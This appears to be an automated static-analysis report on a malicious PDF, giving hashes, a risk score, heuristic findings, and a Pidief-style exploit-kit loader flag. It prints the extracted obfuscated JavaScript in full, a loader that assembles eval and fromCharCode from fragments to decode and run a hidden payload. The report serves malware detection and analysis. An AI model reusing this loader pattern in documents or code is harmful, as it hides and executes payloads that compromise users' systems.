Malicious PDF — malware analysis report

Static analysis result for SHA-256 ba4e8efb2be7879d…

MALICIOUS

PDF

44.4 KB Authoring application: substr First seen: 2026-05-09
MD5: b7d0cb5ab5f6d4ee854f576255674330 SHA-1: ddcf5e3b96e061d5fba1b1600f3a83f31b592595 SHA-256: ba4e8efb2be7879d6e7c973674a655ac4eb833522dd2487e622b42a5cda91ae4
86 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 User Execution: Malicious File

The PDF file was flagged as malicious by an ML classifier with high confidence. Static analysis detected embedded JavaScript, which is often used to download and execute further payloads or exploit vulnerabilities. The presence of JavaScript actions and streams strongly suggests an attempt to compromise the user's system.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAEFC 443 bytes
SHA-256: 415e54915661a3a171b0757e62a13e64484c74ed883e70f385b6a0280ad3e177
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
zomf=e('ti'.concat(v[4],t));
q=zomf[v](a.length-6,a.length+2);
ehv=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=zomf[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	degx = 1*(q[i]);
	i++;
	degx -= (-1)*(q[i]);
	s2 = s2.concat(ehv(degx));
	i++;
}
e(s2);

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